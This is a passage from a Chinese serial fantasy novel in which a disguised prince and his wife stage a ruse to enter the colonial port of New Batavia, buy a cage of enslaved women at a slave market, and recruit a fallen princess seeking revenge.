就在这时,一个清冷悦耳的声音响起,打破了僵局。 “夫君,伊丽莎白和岳将军的思路,其实是拼图上最重要的两块。” 一直静静依偎在林臻身边的慕容嫣,缓缓开口。 所有人的目光瞬间汇聚在她身上。 她今日依旧穿着那身神凤降世裙,玄黑的苏锦长裙在那充满未来感的舰桥内,非但不显突兀,反而因极致的反差,催生出一种跨越时空的威严与美感。裙摆上金线绣成的巨凤,在其走动间凤目流光,仿佛拥有洞悉人心的力量。 “他们只是没找到,将这两块拼图完美拼接起来的方法。” 慕容嫣走到全息堪舆图前,白皙如玉的手指在光屏上,轻轻划出一道直指新巴达维亚的航线。 “‘虚无党’在寻找‘世界之核’,这说明,他们对一切强大、未知、且具备特殊价值的‘物品’,都有着病态的渴求。” “而我们手上,恰好有两件他们无法拒绝的‘珍宝’。” 她的目光,先是投向了审讯室的方向,那里关押着一个金发女军官。 “第一样,是一个活着的,来自‘第二象限’罗斯柴尔德家族的直系继承人。” 随即,她的指尖又落在了堪舆图上,“胜利号”的残骸标记上。 “第二样,是一艘被我们用绝对武力击败,并搭载了他们所谓‘神赐科技’的战舰。” “我的天……” 伊丽莎白听完,蓝色的眼眸中爆发出醍醐灌顶的光芒,那是一种混杂着震惊与狂热的崇拜! 她终于明白,这位看似不问世事的东方皇后,为何能让神魔般的王爷都倾心不已。 这份格局与智慧,深不见底! “嫣儿,你我所想,不差分毫。” 林臻脸上是掩不住的骄傲与宠溺,他走上前,将慕容嫣揽入怀中,顺着她的话,将整个计划彻底铺开。 “我们的新身份,不再是商人。” “我们是一个来自东方的神秘隐世王国,拥有着不亚于,甚至超越‘虚无党’的力量。” “在一次偶然的冲突中,我们击败了‘虚无党’的另一支派系,大获全胜。” “我们缴获了他们的战舰,俘虏了他们的指挥官。” “而我们来新巴达维亚,正是为了‘出售’这些价值连城的‘战利品’!” “我们,要寻找一个新的,同样强大,且对我们击败的那个派系抱有敌意的合作伙伴!” 林臻说到这里,嘴角的弧度变得玩味而危险。 “你们说。” “面对我们这样一群,既亮出了肌肉,又带着‘投名状’,主动送上门寻求合作的‘过江龙’。” “那个自大的总督,和他背后那群贪婪的‘虚无党’。” “他们,会怎么选?” “他们会像嗅到腐肉的秃鹫,不假思索地扑上来!” 伊丽莎白脱口而出,湛蓝的眼眸里跳动着嗜血的兴奋,似乎已经看见新巴达维亚总督那张写满贪婪与算计的脸。 “没错。” 林臻打了个响指,声音里带着一丝冰冷的笑意。 “他们不仅会为我们敞开大门,甚至会铺上红毯,用最高规格的礼仪,来迎接我们这些在他们眼中,带着绝世珍宝的‘东方肥羊’!” “届时,我们兵不血刃,进入那座罪恶之城。” “然后……” 他顿了顿,目光扫过众人,一字一句道:“陪他们玩一场,猫捉老鼠的致命游戏!” 此言一出,舰桥内的空气都冷冽了几分。 众人看着眼前这对配合默契的绝世帝后,谈笑间便决定了一个庞大殖民势力的命运,第一次发自内心地为他们的敌人,感到了一丝怜悯。 计划敲定。 庞大的镇远舰队并未直扑新巴达维亚,而是在伊丽莎白的引领下,如幽灵般驶入南洋深处一片由无数岛礁构成的天然迷宫。 这里,将成为舰队的大本营与后盾。 林臻亲自挑选了三艘从倭国舰队缴获的福船,交由伊丽莎白手下最狡猾的工匠进行改造。 东方福船坚固的船身被漆上刺眼的金色与红色,充满了暴发户式的张扬。 西式的三角帆被强行加装,显得不伦不类。 船头更是安上了一尊纯金打造的、造型浮夸的龙头雕像,仿佛在向全世界宣告“人傻、钱多、速来”。 岳飞与他最精锐的神机营老兵,换上了黑丝缝制的异域武士服,扮演“昆仑王国”的皇家卫队。 这位铁血将军看着自己身上的装束,只觉得浑身别扭,像是被硬塞进了戏台班子,脸上写满了无奈。 但军令如山,他必须服从。 第1295章 给乡巴佬门开开眼 他知道这是王爷的计划,他必须无条件地服从。 至于这次计划中,那件最重要的“活商品”——阿丽塔·罗斯柴尔德。 林臻为她准备了最高规格的“款待”。 囚室由特殊合金浇筑,却布置得比皇室的寝宫还要奢华。 天鹅绒大床柔软得能将人吞没,墙壁上挂着价值连城的艺术品。 阿丽塔就躺在这张床上。 一副闪烁着幽蓝电弧的能量镣铐,将她禁锢在这片虚假的华美之中动弹不得。 她身上不再是战斗服,而是一件质地柔软的丝绸睡裙,但这并不能给她带来任何安慰。 相反,这种极致的反差,让她时刻清醒地认识到自己已是笼中之鸟。 她的脸上,再无属于帝国军官的骄傲,只剩下被彻底碾碎后的茫然与恐惧。 她望着床边那个安然端坐的东方男人,蓝色的眼眸深处是无法理解的惊骇。 这个男人,究竟是什么? 一个怪物?一个魔神? 他为什么会知道“第二象限”?为什么能洞悉罗斯柴尔德家族最深层的机密? 他那层硬抗能量光束的护盾,到底是什么原理? 还有那匪夷所思的手段,瞬息之间就攻破了家族引以为傲的量子加密技术。 每一个问题,都像一座无法逾越的大山,压得她精神濒临崩溃。 “你在恐惧我知道的。” 林臻开口,声音没有丝毫波澜,像是在陈述一个客观事实,而非疑问。 他没有看她,目光落在囚室墙壁的一幅星图上,仿佛在研究宇宙的奥秘。 阿丽塔的呼吸一滞。 “也对,凡人无法理解神明,自然会感到恐惧。” 林臻终于将视线转向她,那眼神平静、淡漠,不带任何情绪,就像地质学家在观察一块有点意思的石头。 “想知道答案吗?” 阿丽塔的瞳孔剧烈收缩,暴露了内心的渴望与挣扎。 “那就演好你的角色。” 林臻的嘴角勾起一道弧度,那不是玩味,而是属于绝对掌控者的漠然。 “一件有价值的‘商品’,总比一件垃圾活得久一点。” “事情结束后,我会让你死个明白。” 说完,他缓缓起身。 没有再多看她一眼,转身离去。 背影消失在合金门后,留给阿丽塔的是足以将灵魂都冻结的绝对冰冷,和一个她永生永世都无法触及的谜。 …… 三日后。 一切准备就绪。 一支诡异的船队,驶出了那片与世隔绝的群岛迷宫。 三艘被涂抹得金碧辉煌、不伦不类的“昆仑宝船”,拖拽着一艘巨大而残破的钢铁战舰——“胜利号”的残骸。 这支小小的“死亡商队”,在林臻的亲自率领下扬帆起航。 剑指那座传说中汇聚了财富、堕落与无尽凶险的东方第一堡。 ——新巴达维亚! 当那座传说中的“东方第一堡”,第一次完整地闯入众人视线时。 即便林臻和慕容嫣早有心理准备,仍旧忍不住倒吸一口凉气。 那是怎样一座城市? 雄伟、壮观,却又透着一股说不出的诡异! 中世纪哥特式城墙高耸厚重。 墙头,却架设着一门门造型狰狞、闪烁着金属冷光的巨大能量轨道炮。 城内,巴洛克与洛可可风格的华丽宫殿和教堂尖顶,被无人机群环绕。 那些金属蜻蜓般的小型飞行器,幽蓝微光闪烁盘旋不休。 整座城市,仿佛由最古典的西方建筑与最科幻的未来科技强行缝合而成。 巨大、扭曲,散发着令人心悸的不和谐之美。 城市中心,巨大的港口更是矛盾与冲突的集中体现。 这里停泊着世界各地的船只。 有大乾古朴典雅的福船和沙船。 有倭国小巧玲珑的关船和安宅船。 有南洋异域风情的独木舟和三角帆船。 当然,更多的是西方那些船身巨大、桅杆林立的盖伦船和卡拉维尔帆船。 不同时代、不同文明的船只,杂乱无章地挤在同一片水域。 那景象,无比喧嚣,无比混乱。 却也生机勃勃,壮观异常。 “我的天……” 伊丽莎白望着眼前这座罪恶之都。 它比她去过的任何一个加勒比海盗港口都更繁华、更混乱。 她那双蓝宝石般的眼眸里,是极致的震撼,也是极致的兴奋! 她知道,这里就是她的天堂! 一个机遇与挑战并存,宝藏与财富无限的冒险乐园! “传令下去!” 她舔了舔猩红的嘴唇,俏脸上写满了即将大干一场的疯狂与期待。 “把我们‘昆仑王国’的龙凤宝旗,给老娘升起来!” “让这帮没见过世面的乡巴佬们,也好好开开眼!” “让他们知道,什么才叫真正的东方豪门!” 很快。 一面由顶级黑色天鹅绒缝制,纯金线绣着张牙舞爪的五爪金龙与展翅欲飞的七彩凤凰的巨大旗帜。 “昆仑商队”的旗舰之上,迎着咸湿海风缓缓升起。 那嚣张霸气的姿态,瞬间吸引了港口内所有船只的注意。 “那是什么旗帜?我怎么从没见过?” “是啊,好华丽好威风!难道是哪个新来的东方大主顾?” “快看!他们身后还拖着艘船!那不是我们东印度公司的‘胜利号’吗?!它怎么会变成这副鬼样子?!” “我的天!‘胜利号’竟然……竟然被俘虏了?!” 一时间,整个港口因这支来历不明的东方商队而彻底沸腾! 就在众人议论纷纷,猜测商队来历时。 数艘造型奇特、船身扁平、速度如离弦之箭的蒸汽动力巡逻艇。 它们如嗅到血腥味的鲨鱼般,从港口深处呼啸而出! 林臻他们这支“昆仑商队”被严严实实地包围。 为首的巡逻艇上,一个身穿笔挺东印度公司军官制服的白人胖子,满脸横肉眼神傲慢且警惕。 他手持铁皮扩音喇叭,用一种居高临下、生硬的汉语大声质问: “你们是什么人?!竟敢擅闯我们伟大的,东印度公司的领海?!” “还有,你们身后那艘船是怎么回事?!为什么我们公司的战舰,会在你们手上?!” “劝你们最好老实交代!否则休怪我们炮下无情!” 面对他充满威胁与质问的嚣张气焰。 伊丽莎白却毫无慌乱。 她大大咧咧走到船头,双手叉腰。 用比那胖子更嚣张、更霸道、流利无比的伦敦腔英语,破口大骂: “你算个什么东西?!一个看门的死胖子,也敢在老娘面前大呼小叫?!” “你知不知道老娘是谁?!老娘可是伟大的昆仑王国皇家海军提督!伊丽莎白·斯旺!” “我们这次来,是奉了我们伟大的昆仑王子殿下的命令,来找你们那个什么狗屁总督,谈一笔天大的生意!” “至于我们身后这艘破船……” 第1296章 跑到我的地盘来销赃? 伊丽莎白那口流利顺滑,甚至带着伦敦贵族腔调的英语,让那个白人胖子军官脸上的横肉猛地一僵。 他那双傲慢的眼睛瞬间凝固,写满了难以置信。 昆仑王国? 皇家海军提督? 情报库里从未有过这个名字。 “你……你胡说!”胖子军官嗓音发干,气势已经泄了大半却还梗着脖子硬撑,“我不管你是什么东西!这里是东印度公司的海域!没有总督手令谁也别想靠近!” “是吗?” 伊丽莎白脸上的嘲讽几乎要溢出来,她懒得再跟这条看门狗废话,扭头便朝身后的旗舰娇声喊道: “我亲爱的王子殿下!您看,这家的狗,好像不太欢迎我们呢!” 话音刚落。 旗舰那扇由整块紫檀木雕琢的船舱门,无声地向两侧滑开。 一名男子走了出来。 他身着最顶级的黑丝长袍,袍上用金线密密织就着繁复的异兽图腾,脸上罩着一副纯金面具,只露出一双淡漠无波的眼睛。 正是林臻。 他的视线掠过那些剑拔弩张的巡逻艇,没有丝毫停留,只是落在伊丽莎白身上,语气平淡中带着一丝无奈的宠溺。 “伊丽莎白,我们是文明人。” “别和狗计较。” 他随意地抬了抬手。 身后,两名身形魁梧、气息悍勇的黑衣护卫,抬着一口巨大的黄金箱子重重顿在船头。 “砰!” 箱盖开启。 一瞬间,夺目的光芒爆射而出。 那光芒如此霸道,竟让正午的阳光都显得黯淡无光。 整片海域的所有人,都不由自主地眯起眼抬手遮挡。 那是一箱……钻石! 满满一整箱,每一颗都经过完美切割大如鸽卵,在光线下折射出亿万道令人心智迷乱的璀璨光华! 空气死寂。 所有东印度公司的士兵都像被扼住了喉咙,死死盯着那箱能买下他们十辈子荣华富贵的财富。 呼吸,变得粗重。 眼神,被最原始的贪婪彻底点燃! “告诉你们总督。” 林臻的声音依旧平淡,仿佛扔出的不是一箱绝世珍宝,而是一把碎石。 “我们昆仑王国,带着诚意而来。” “我们手上,有他会感兴趣的‘东西’。” 他的目光,扫过身后那艘被铁索拖拽的“胜利号”残骸。 还有那个被捆缚着,跪在甲板上,却依旧难掩高贵血统的金发女军官——阿丽塔·罗斯柴尔德。 “一点见面礼。” “不成敬意。” “让他看完,再决定要不要请我们进去喝杯茶。” 那个胖子军官彻底傻了。 他看看那箱钻石,又看看那艘证明了对方恐怖实力的战舰残骸,再看看那个身份尊贵到无法想象的阶下囚。 大脑一片空白。 他摊上事了。 一件能把他碾成粉末的惊天大事! “您……您请稍等!”他的声音因极致的恐惧而尖锐变形,“我这就去汇报!” 他吼叫着指挥巡逻艇调头,动作慌乱得像是被火烧了屁股,仓皇逃向港口深处。 看着他狼狈的背影,伊丽莎白发出了清脆而肆无忌惮的大笑。 而岳飞,这位始终如铁铸雕像般护在林臻身后的将军,眼角也控制不住地跳了一下。 他不好财,但也知道那一箱“石头”的份量。 足以将神机营扩充十倍。 足以给大乾北境换上全新的甲胄与火炮。 可王爷,就这么扔出去了。 眼都不眨。 败家! 王爷这“人傻钱多”的形象,是不是演得太真了? 然而,就在所有人的心神还被那箱钻石的炫光所攫取时。 旗舰的船舱内,又一道身影,缓缓步出。 当她出现。 那刚刚被钻石光芒点亮的整片海域,似乎再一次,光线扭曲。 并非陷入黑暗。 而是所有的光,无论是日光还是钻石的华彩,都在她面前失去了意义,成了衬托她的背景。 正是慕容嫣。 她依旧穿着那身神凤降世裙。 极致的玄黑,在这罪恶与喧嚣的港口,化作一片预示着审判的静谧夜空。 裙摆上金线织就的擎天巨凤,凤目流光,仿佛正冷漠地审视着脚下这座即将被征服的城市! 长达五丈的墨金色拖尾,随着她的莲步,从船舱内倾泻而出,在冰冷的甲板上铺展开来。 那不是裙摆。 那是一面黑色的,由神明亲手挥下的死亡战旗! 她用一种华贵而张扬的姿态,向这座城市的所有生灵,做出了无声的宣告。 港口之上,死寂一片。 所有人的呼吸,都在这一刻停滞。 无论是东印度公司的士兵,还是来自世界各地的水手与商人,全都呆呆地望着她。 那是一种超越了性别与欲望的凝视。 那是一种凡人仰望神明时的,源自灵魂深处的敬畏与臣服! 他们心中同时冒出一个念头。 这座罪恶之都,要变天了。 …… 新巴达维亚,总督府。 这座融合了巴洛克与哥特风格的建筑内,顶层办公室的气氛压抑如铅。 查尔斯·哈林顿勋爵,东印度公司的远东总督,正静立于巨大的落地窗前。 他手中那杯波尔多红酒的液面,没有一丝波纹。 他阴沉的目光,穿过数公里的距离,精准地落在那支悬停于港外的诡异船队上。 身后,那个胖子巡逻队长跪在地上,身体抖成一团,语无伦次地重复着刚才的见闻。 “……总督大人,就是这样!那个‘昆仑王子’是个疯子!他扔出了一箱……不,一座山那么多的钻石!” “还有‘胜利号’!千真万确是威廉上校的船!只剩半截了!” “最……最可怕的是那个女人……我的上帝,我从没见过……她……她的气势,比……比英格兰的女王陛下还要……还要……” 胖子军官已经找不到词来形容那种感觉,脸上混杂着劫后余生的惊恐,和一丝他自己都没察觉到的贪婪。 哈林顿总督没有说话。 他静静听着,指节因为过度用力而泛出白色。 那杯昂贵的红酒在他手中晃动,漾开血色的圈。 昆仑王国? 人傻钱多的东方王子? 一艘被俘虏的,搭载了“虚无党”核心技术的战舰? 一个被活捉的,身份尊贵的金发女军官? 还有一个,美得不像凡人,气场却强大到能冻结灵魂的神秘王妃? 无数矛盾的信息在他那颗浸满阴谋的大脑里飞速碰撞,组合。 “一个暴发户式的东方势力,偶然击败了‘虚无党’的分舰队,然后带着战利品和俘虏跑到我的地盘来……销赃?” 哈林顿总督低声自语,灰色的眼眸里,顶级掠食者的贪婪几乎化为实质。 这听起来,像天上掉下的黄金馅饼。 又大又香,还带着烫手的温度。 第1297章 罪恶之城净化吧! 他当然知道这背后有诈。 可这其中蕴含的机遇,大到足以让他,乃至整个东印度公司为之疯狂! 那艘战舰残骸的价值无法估量,上面的科技正是公司一直渴望从“虚无党”那里获得,却始终被对方推诿的核心技术! 而那个金发女俘虏,如果身份真如他所猜测…… 她的价值,将远超一百艘“胜利号”! 至于那个所谓的“昆仑王国”。 哈林顿总督的嘴角勾起冰冷的弧度。 又一个在东方角落挖到金矿,就以为能挑战世界秩序的土财主。 他们或许有钱有武力。 但他们不懂政治。 更不懂这片大海上唯一的法则——弱肉强食。 “总督大人,那……我们现在”胖子军官看着哈林顿阴晴不定的脸,颤声问道。 “怎么办?” 哈林顿转过身,脸上重新挂上了大英帝国贵族那优雅而虚伪的笑。 “当然是用我们最热烈的方式,迎接远道而来的贵客。” 他走到名贵红木办公桌前拿起镶金羽毛笔,在印有公司徽章的信笺上飞快写下一行字。 “派人,送过去。” 他将信封装好,用火漆封上递给秘书。 “告诉那位‘昆仑王子’殿下,我查尔斯·哈林顿代表东印度公司与伟大的日不落帝国,欢迎他与王妃殿下的到来。” “城中风景最好的‘郁金香庄园’,已经为他们备好了住所与晚宴。” “至于那笔‘天大的生意’,等他们休息好了,我们有的是时间,慢慢谈。” …… 半个时辰后。 林臻一行人,在胖子军官和数十名全副武装的士兵“护送”下,踏上了新巴达维亚的土地。 他们沿着白色大理石铺就的大道,走向城中心的“郁金香庄园”。 一路上,岳飞的眉头拧成了铁疙瘩。 这位一生精忠报国的铁血将军,感觉自己的眼睛正在被周围的景象所玷污。 街道两旁,酒馆、赌场、妓院鳞次栉比。 穿着暴露的异国女子在阳台上向水手抛着媚眼。 醉醺醺的海盗当街搂着妓女上演秽乱,引来人群的哄笑叫好。 空气中,劣质朗姆酒、香料、汗水与呕吐物的气味混杂在一起,令人作呕。 这里不是城市。 这是一个汇聚了全世界罪恶与欲望的垃圾场。 岳飞的视线里,几个骨瘦如柴的孩童正像野狗般,在垃圾堆里翻找腐烂的食物。 不远处,一个脑满肠肥的商人,将几乎没动过的烤乳猪,随手扔给了脚边的哈巴狗。 这一幕,狠狠刺痛了岳飞的眼睛。 他握紧了刀柄,古铜色的脸庞上杀意毫不掩饰。 若非王爷有令,他现在就想拔刀将这座城里的人屠戮干净! 与他的愤怒不同,伊丽莎白像是回到了自家后花园。 她蓝宝石般的眼眸闪着光,兴致勃勃地打量着一切。 “哦!快看!‘独眼’杰克的酒馆!三年前我在这赢了他最爱的‘海妖号’!” “还有那边!‘血腥玛丽’的拍卖行!今晚肯定又有从东方抢来的好东西!” 她像个最称职的导游,为林臻和慕容嫣介绍着这里的每一个“景点”,语气里满是怀念。 而慕容嫣,只是静静地听着,那双凤眸里,空无一物。 这个姿态本身,就是一种无声的宣告。 她的目光扫过街道两旁的人群。 那些因为她的出现而停下脚步,投来惊艳、贪婪、敬畏等复杂目光的人,在她眼中与路边的石子无异。 无论是脑满肠肥的商人,还是衣不蔽体的奴隶,都不过是一群即将被她和她的夫君彻底碾碎的可怜虫。 他们的命运早已注定。 就在这时,队伍前方传来一阵骚动,一行人停下脚步。 前方不远处,一个由数十个铁笼围成的圆形广场,出现在众人面前。 一个赤着上身,手持血污皮鞭的白人壮汉,正站在台上,对着台下那些眼神贪婪的商人们嘶吼。 “先生们!都过来看一看!瞧一瞧!” “最新到货的一批,来自遥远东方的顶级‘货物’!” “皮肤像牛奶!身体像丝绸!” “我保证,她们每一个人,都能给你们带来国王般的享受!” 那是一个巨大而残酷的人口市场,将人当成牲畜肆意买卖的人间地狱。 那片由冰冷铁笼围成的广场,像一道巨大的、流脓的伤口。 它赤裸裸地暴露在新巴达维亚的心脏地带。 空气中,朗姆酒与汗臭的污浊气息,又添上了一丝更令人作呕的味道,那是绝望与血腥发酵后的酸腐。 铁笼里关着的是人,几十个或许上百个来自不同国度、不同种族的女人。 她们大多很年轻,身上只穿着几片破烂麻布,勉强遮住要害。 皮肤上满是鞭痕与污垢。 眼中只剩下被恐惧与麻木彻底掏空后的死寂,她们蜷缩在笼子角落,身体因寒冷和恐惧而颤抖却不敢发出半点声音。 偶尔有几个刚被抓来,眼中尚存一丝反抗火光的,便会立刻招来手持皮鞭的奴隶贩子一顿毒打,皮鞭撕裂皮肉的声音,混杂着压抑的痛哼与哭泣。 那是这场罪恶交易最刺耳的背景音。 广场周围,围满了看客。 肥头大耳的东印度公司官员,满脸横肉的海盗头子,穿着华丽丝绸的阿拉伯商人。 他们像挑选牲口一般,对着笼子里的女人指指点点。 肆无忌惮地评论着她们的相貌、身材以及“耐用性”。 那目光里,没有半分怜悯,只有最原始、最赤裸的占有欲。 岳飞的拳头,已经捏得“咯吱”作响。 他那张古铜色的脸庞,因极致的愤怒而涨成猪肝色。 若非仅存的理智死死压制他会立刻冲上去,将那个站在高台上耀武扬威的奴隶贩子,连同周围所有参与这场肮脏交易的人全部劈成两半。 他征战沙场见过的死人比活人都多,可他从未见过如此践踏“人”之尊严的景象。 这比战场上的血腥屠杀,更让他感到恶心与愤怒。 伊丽莎白脸上的兴奋与好奇也早已消失不见,她虽是海盗出身杀人越货没少干,但从未参与过这种肮脏的人口买卖。 在她看来,这是最下等、最无耻的海盗才会做的勾当。 她看着笼子里那些与自己同样身为女性,却遭受非人待遇的奴隶。 那双总是燃烧着野性火焰的蓝色眼眸里,第一次浮现出一抹复杂情绪。 有不忍,有同情但更多的,是一种强者对弱者的漠然。 这就是这个世界的法则。 第1298章 这片奴隶,我全要了 弱小,本身就是一种原罪,慕容嫣,只是静静地看着。 她那张绝美的俏脸之上,依旧是那副清冷得不带丝毫感情的漠然,仿佛眼前这人间地狱般的景象,在她看来不过是一场无聊的、不入流的马戏。 她今日依旧穿着那身极致玄黑的神凤降世裙。 在这充满了肮脏、罪恶与绝望的奴隶市场里,她那暗夜星空般深邃的裙摆,仿佛拥有净化一切的力量。 长达五丈的墨金色苏锦拖尾,由两名侍女小心翼翼地捧着,它从混合着泥土、血污与呕吐物的地面上缓缓划过,却未沾染半分污秽。 裙摆上那只用真金线绣成的擎天巨凤目冰冷,充满神明俯瞰蝼蚁的漠然。 它用一种无声的方式,向这个世界宣告着,阶级之间那道永恒的、不可逾越的鸿沟。 林臻停下了脚步。 他没有看台上那个口沫横飞的奴隶贩子。 也没有看周围那些眼神贪婪的买家。 他的目光,穿过人群,穿过冰冷的铁笼。 精准地落在了最角落的一个笼子里。 那个笼子很小很破,里面挤着十几个同样衣不蔽体的年轻女子,她们大多来自南洋某个岛国。 皮肤是健康的小麦色,五官深邃,带着一种野性的美感。 此刻,她们像受惊的小鹿一样蜷缩在一起,眼神里充满了对这个陌生世界的恐惧与茫然。 而在她们中间有一个女孩显得格外不同,她看起来年纪更小,约莫只有十五六岁。 身上同样只穿着破烂麻布脸上沾满了污垢,但她的眼神却与周围那些麻木、绝望的同伴,截然不同。 那是一双燃烧着火焰的眼睛有不甘和愤怒,但更多的是一种深入骨髓、宁死不屈的骄傲。 即便身处地狱,她也像一头被困的幼狮,死死地守护着自己最后的尊严。 林臻的嘴角,勾起一抹玩味的弧度。 他转过头,对着身旁那位吓得汗流浃背的胖子军官,用一种极其随意的语气说道:“带路的,你们这里,还挺热闹的嘛。” “啊?哦……是,是!王子殿下!”胖子军官被这突如其来的问话搞得一愣。 他连忙点头哈腰,回答道:“这……这是我们新巴达维亚的一点……小小的特色。” “特色?”林臻笑了笑。 笑容里带着几分天真的“好奇”。 “我看笼子里那些‘货物’,好像还挺别致的。” 他抬起手,遥遥指向角落里那个关着“幼狮”的笼子。 “那个笼子里的看起来不错,本王有点兴趣。” 胖子军官顺着他手指的方向看去。 脸上瞬间露出了一个男人都懂的猥琐笑容。 “嘿嘿,王子殿下您真是好眼光!”他凑到林臻身边,压低声音。 一脸谄媚地说道:“那批货,可是昨天才刚刚从‘香料群岛’那边运过来的!个顶个的水灵!尤其是里面的那个小丫头,听说还是某个小国的王族后裔呢!身份尊贵着呢!” “哦?王族后裔?”林臻挑了挑眉。 脸上的“兴趣”更浓了。 “那正好。”他拍了拍手。 用一种仿佛在菜市场买白菜般的随意口气,对着那胖子军官说道: “去告诉那个卖东西的,那个笼子里的所有‘货物’本王,全要了” “什……什么?!” 林臻这番话一出口不仅是胖子军官,就连他身后的岳飞和伊丽莎白,都彻彻底底地傻眼了。 全要了?! 那个笼子里,少说也有十五六个女奴!王爷他买这么多女人回去干什么? 而且还是用这种,像是打发叫花子般的口气? 这已经不是“人傻钱多”了。 这简直就是把“我是冤大头”这五个大字,明明白白地刻在了自己的脑门上啊! “王……王爷……”岳飞第一个反应过来。 他快步走到林臻身边,压低了声音。 脸上写满了焦急与不解:“您这是何意?我等此行乃是为了……” “我知道。”林臻抬起手,打断了他的话。 他看着岳飞那张写满“忠臣死谏”的脸,有些好笑地摇了摇头。 他知道岳飞在想什么,但他懒得解释。 因为有些事情解释起来太麻烦,远不如直接用最简单、也最粗暴的方式来得有效。 就在这时,一场小小的冲突,毫无征兆地爆发了。 一个同样脑满肠肥,穿着一身阿拉伯贵族服饰的商人,听到林臻的话后立刻就不干了。 他气势汹汹地挤开人群,走到林臻面前。 用一口带着浓重口音的英语,嚣张地叫嚷道:“嘿!东方来的小子,凡事都要讲个先来后到那个笼子里的货,我已经看上了你休想跟我抢!” 他说着,便对着身后的几个同样人高马大的保镖,使了个眼色。 那几个保镖立刻会意,一个个摩拳擦掌,满脸不怀好意地向着林臻走来。 “找死!”岳飞见状勃然大怒! 他想也不想便“呛啷”一声,拔出了腰间的佩刀,冰冷的刀锋,在阳光下闪烁着骇人的寒光! 一股凝如实质的恐怖杀气,瞬间从他身上爆发出来! 周围的温度都仿佛降低了几分,那几个原本还气势汹汹的保镖,感受到这股仿佛能将灵魂冻结的恐怖杀气时。 脸上的嚣张瞬间凝固。 一个个都像见了鬼一样,吓得连连后退再也不敢上前一步。 然而,就在这剑拔弩张、一触即发的紧张时刻。 林臻却又一次,做出了一个让所有人意想不到的举动。 他没有多看那个阿拉伯商人一眼,只是从怀里慢悠悠地取出一个钱袋。 那钱袋由最上等的黑色丝绸缝制而成,沉甸甸的。 然后他当着所有人的面,将那个钱袋随手扔在了地上。 下一秒。 无数枚纯金打造的金币,如同金色的雨点般,从钱袋里滚落出来! 上面印着一种众人从未见过的神秘异兽图腾! 在那肮脏不堪的地面上,铺了满满一层,刺眼的金光! 整个奴隶市场,瞬间陷入一片死一般的寂静。 呆呆地看着地上那片,足以让他们这辈子都衣食无忧的金色海洋,那眼神里,只剩下了最原始、也最疯狂的……贪婪。 “这些,够吗?” 林臻的目光,终于落在了那个同样被眼前这幕景象惊得目瞪口呆的阿拉伯商人身上。 他的声音依旧平淡,却充满属于神明的绝对漠然。 “如果不够。” 他说着便又从怀里,掏出了一个一模一样的钱袋甚至看起来,比刚才那个还要更加沉重。 “我这里,还有。” 第1299章 亡国公主的秘密 死寂。 整个奴隶市场,鸦雀无声。 所有人的呼吸都被那片刺目的金色夺走了。 前一刻还叫嚣着先来后到的阿拉伯商人,此刻嘴巴张得能塞进一个拳头。 他眼珠圆瞪,死死盯着那片流淌的黄金,大脑彻底宕机。 他见过钱,但他没见过谁把金山当垃圾一样扔在地上。 那东方男人又掂了掂手中另一个更沉的钱袋,眼神淡漠像是在看一只挡路的臭虫。 阿拉伯商人脸上的血色瞬间褪尽,肥胖的身躯抖如筛糠。 他终于明白,自己挑衅的是招惹不起的存在。 “够……够了!!” 他双膝一软,不是跪下,是瘫倒在林臻面前。 “尊敬的王子殿下!是我有眼无珠!是我狗胆包天!” 他一边语无伦次地哀嚎,一边疯狂地用额头撞击地面,发出沉闷的响声。 “那些货……不!那些贱奴,都是孝敬您的!求您饶我一条狗命!” 他之前的嚣张,此刻看起来像个拙劣的笑话。 林臻的视线甚至没有在他身上停留一瞬,他转向那个早已吓得魂不附体的奴隶贩子。 “现在,她们是我的了?” 声音不高,却像神谕。 “是!是您的!当然是您的!” 奴隶贩子连滚带爬地从高台上冲下来,扑通一声跪在林臻脚边,速度快得像只受惊的猴子。 “能被您看上是她们八辈子修来的福气!她们就是您的财产,您最忠实的狗!” “嗯。” 林臻点头,转身。 他对那名同样呆若木鸡的胖子军官命令道。 “带上人,去我们的‘新家’。” …… 郁金香庄园。 东印度公司用以招待最尊贵客人的地方,奢华得如同神话中的天国。 当那十几个刚刚脱离地狱的女奴被带进这里时,彻底迷失了。 她们赤着脚踩在光可鉴人的大理石上,看着亭台楼阁奇花异草眼神从麻木变成了茫然。 命运的翻转太过剧烈,让她们甚至忘记了恐惧。 前一刻是泥潭里的牲畜,下一刻却住进了国王都遥不可及的宫殿。 而这一切的赐予者,就是那个神秘强大的东方男人。 庄园主厅。 林臻与慕容嫣并肩坐于象牙雕成的华丽主位。 岳飞与伊丽莎白如两尊杀神,侍立身后。 下方,十几个南洋女奴跪在地上,瑟瑟发抖,不敢抬头。 林臻的目光扫过她们,最终定格在队列末尾,那个从始至终都挺直脊梁的女孩。 那头被困的幼狮。 “你叫什么名字?” 他开口,声音打破了厅内的死寂。 女孩身体一震。 她猛地抬头,那双燃烧着火焰的眼睛死死盯住主位上的男人,嘴唇紧抿一言不发。 “呵,烈性子。” 林臻笑了非但不怒反而更添兴致。 他从主位上站起,一步步走下台阶。 他走到女孩面前。 蹲下身子。 他伸出手,动作轻柔地拨开她脸颊上沾着污垢的乱发。 他的声音压低,带着一种蛊惑人心的魔力。 “别怕。” “我不是你的敌人。” 紧接着,他用一种古老、拗口,早已失传数百年的古南洋宫廷语,清晰地吐出每一个音节。 “拉克希米·巴依公主殿下。” 女孩眼中的火焰,瞬间凝固,然后爆开! 那不是震惊。 那是信仰崩塌又在瞬间重塑的骇然! “你的国家已经覆灭,你的子民沦为奴隶。” “但你属于太阳神后裔的高贵血脉,不该就此蒙尘。” 他怎么会知道?! 这个名字,是她被囚禁后死死埋在心底,宁愿烂掉也不愿再想起的最后尊严! 他怎么会说这种语言?这是只有王族最核心的成员,才有资格学习的,神赐的语言! 难道…… 难道父王临死前念叨的那个东方预言……是真的? 救世主? “你……你到底是谁?!” 她的声音沙哑,是灵魂深处的颤栗。 “我?” 林臻的笑容高深莫测。 “我是能帮你,实现复仇愿望的人。” 复仇? 这两个字像一把钥匙,捅进了她心中早已被绝望和仇恨锁死的枷锁,然后猛地拧动! 是啊! 复仇! 她怎么能忘了复仇! 东印度公司的炮火将她的家园夷为平地!侵略者的屠刀砍下了她父王和兄长的头颅!她的子民被当成牲畜贩卖到世界各地! 她自己,也沦为阶下囚! 血海深仇,怎能忘?!又怎敢忘?! 滔天的恨意自心底喷涌而出,将迷茫与震惊烧成灰烬,她的双眼,再次被复仇的烈焰填满,比以往任何时候都更加疯狂,更加决绝! 她猛地抬起头,死死盯着林臻! “只要你能帮我报仇!” “只要你能让那些侵略者,血债血偿!” 